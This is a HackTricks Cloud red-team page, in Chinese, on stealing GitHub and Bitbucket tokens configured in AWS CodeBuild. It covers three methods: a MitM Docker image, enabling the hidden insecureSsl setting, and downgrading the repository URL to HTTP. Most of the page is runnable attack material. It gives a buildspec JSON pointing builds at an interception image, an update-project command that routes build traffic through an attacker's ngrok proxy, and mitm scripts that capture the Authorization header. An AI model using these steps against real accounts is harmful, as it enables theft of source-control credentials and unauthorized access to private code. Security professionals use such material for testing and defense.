AWS Codebuild - Token Leakage
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
恢复 Github/Bitbucket 已配置的 Tokens
首先,检查是否存在任何已配置的 source 凭据,你可以 leak:
aws codebuild list-source-credentials
通过 Docker 镜像
如果你发现账号中设置了例如 Github 的身份验证,你可以通过让 Codebuild use an specific docker image 来运行项目构建,从而exfiltrate该access(GH token or OAuth token)。
为此你可以create a new Codebuild project或者更改已有项目的environment以设置Docker image。
你可以使用的 Docker 镜像是 https://github.com/carlospolop/docker-mitm。这是一个非常基础的 Docker 镜像,会设置env variables https_proxy、http_proxy和SSL_CERT_FILE。这将允许你拦截https_proxy和http_proxy中指示主机的大部分流量,并信任SSL_CERT_FILE中指示的 SSL 证书。
- Create & Upload your own Docker MitM image
- 按照该仓库的说明设置你的代理 IP 地址并设置你的 SSL 证书,build the docker image。
- DO NOT SET
http_proxy,以免拦截对 metadata endpoint 的请求。 - 你可以使用
ngrok,例如ngrok tcp 4444来将代理指向你的主机 - 一旦你构建好 Docker 镜像,upload it to a public repo(Dockerhub、ECR…)
- Set the environment
- Create a new Codebuild project 或 modify 已有项目的 environment。
- 将项目设置为使用 previously generated Docker image
.png)
- Set the MitM proxy in your host
- 如 Github repo 中所示,你可以使用类似:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
mitmproxy 使用的版本是 9.0.1,据报道在版本 10 上可能无法工作。
- 运行构建并捕获凭证
- 你可以在 Authorization 头中看到 token:
.png)
这也可以通过 aws cli 使用类似的命令完成:
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
通过 insecureSSL
Codebuild 项目有一个名为 insecureSsl 的设置,该设置在网页界面中隐藏,你只能通过 API 修改。
启用该设置后,Codebuild 将能够连接到仓库 而不验证平台提供的证书。
- 首先你需要用类似的命令枚举当前配置:
aws codebuild batch-get-projects --name <proj-name>
- 然后,使用收集到的信息,你可以将项目设置
insecureSsl更新为True。下面是我更新一个项目的示例,注意最后的insecureSsl=True(这是你需要从收集到的配置中修改的唯一内容)。 - 此外,还要添加环境变量 http_proxy 和 https_proxy,指向你的 tcp ngrok,如下所示:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- 然后,在由代理变量 (http_proxy 和 https_proxy) 指向的端口上运行来自 https://github.com/synchronizing/mitm 的基本示例
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 最后,点击 构建项目,凭证 将以 明文(base64)发送到 mitm 端口:
 (1).png)
通过 HTTP 协议
[!TIP] > 该漏洞在 2023 年 2 月 20 日那周的某个时间由 AWS 修复(我记得是周五)。因此攻击者现在无法再滥用它 :)
具有提升权限的攻击者在某个 CodeBuild 中可以 leak 配置的 Github/Bitbucket token,或者如果权限是通过 OAuth 配置的,则可以 用于访问代码的临时 OAuth token。
- 攻击者可以向 CodeBuild 项目添加环境变量 http_proxy 和 https_proxy,指向他的机器(例如
http://5.tcp.eu.ngrok.io:14972)。
.png)
.png)
- 然后,将 github 仓库的 URL 从 HTTPS 改为 HTTP,例如:
http://github.com/carlospolop-forks/TestActions - 然后,在代理变量(http_proxy 和 https_proxy)指向的端口运行来自 https://github.com/synchronizing/mitm 的基本示例。
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- 接下来,点击 构建项目 或从命令行启动构建:
aws codebuild start-build --project-name <proj-name>
- 最后,credentials 将以 明文 (base64) 发送到 mitm 端口:
.png)
Warning
现在 attacker 将能够从他的机器上使用该 token,列出它拥有的所有 privileges 并比直接使用 CodeBuild 服务更容易地 (ab)use。
通过 webhook filter misconfiguration 导致的 Untrusted PR execution
对于 PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution),请查看:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

